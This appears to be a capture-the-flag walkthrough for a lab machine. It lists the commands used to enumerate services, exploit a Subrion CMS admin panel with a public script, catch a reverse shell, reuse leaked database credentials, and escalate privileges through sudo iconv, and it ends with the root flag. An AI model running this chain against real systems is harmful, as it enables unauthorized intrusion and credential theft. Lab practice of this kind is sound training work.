1. Initial Enumeration#

1
nmap -sV 10.10.24.118

1
gobuster dir -u http://10.10.24.118 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt

2. SMB Enumeration#

List available SMB shares:

1
smbclient -L //10.10.24.118

Connect to the discovered share:

1
smbclient //10.10.24.118/websvr

Download files from the share:

1
mget enter.txt

When prompted, select:

1
yes

3. Web Application Enumeration#

Browse to:

1
http://10.10.24.118/subrion/panel/

A login portal is presented.

Use CyberChef to analyze the discovered credentials and obtain:

1
Username: admin
2
Password: Scam2021

Login to the Subrion administration panel.

4. Exploit Discovery#

Search for available exploits:

1
searchsploit Subrion 4.2.1

Copy the exploit locally:

1
searchsploit -m php/webapps/49876.py

Execute the exploit:

1
python 49876.py -u http://10.66.147.216/subrion/panel/ -l admin -p Scam2021

5. Credential Discovery#

Inspect the WordPress configuration file:

1
cat /var/www/html/wordpress/wp-config.php

Discovered database credentials:

1
define('DB_USER', 'support');
2
define('DB_PASSWORD', 'ImAScammerLOL!123!');

6. Reverse Shell Access#

1
rlwrap nc -lvnp 1337

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

1
export TERM=xterm

7. User Access#

Navigate to the home directory:

1
cd /home

Switch to the user account:

1
su scamsite

Password:

1
ImAScammerLOL!123!

Successful authentication grants access as:

1
scamsite

8. Privilege Escalation Enumeration#

Check sudo permissions:

1
sudo -l

Output:

1
User scamsite may run the following commands on TechSupport:
2
    (ALL) NOPASSWD: /usr/bin/iconv

9. Root Flag Access#

Set the target file:

1
LFILE=/root/root.txt

Read the file using the permitted binary:

1
sudo /usr/bin/iconv -f 8859_1 -t 8859_1 "$LFILE"

The contents of the root flag are displayed.

Root Flag#

1
851b8233a8c09400ec30651bd1529bf1ed02790b

Summary#

1. Performed service enumeration using Nmap.
2. Enumerated SMB shares and downloaded exposed files.
3. Discovered Subrion CMS administration portal.
4. Recovered administrative credentials.
5. Identified and executed a public Subrion exploit.
6. Obtained remote code execution and a reverse shell.
7. Extracted WordPress database credentials.
8. Accessed the scamsite user account.
9. Enumerated sudo permissions.
10. Leveraged the allowed iconv binary to access the root flag.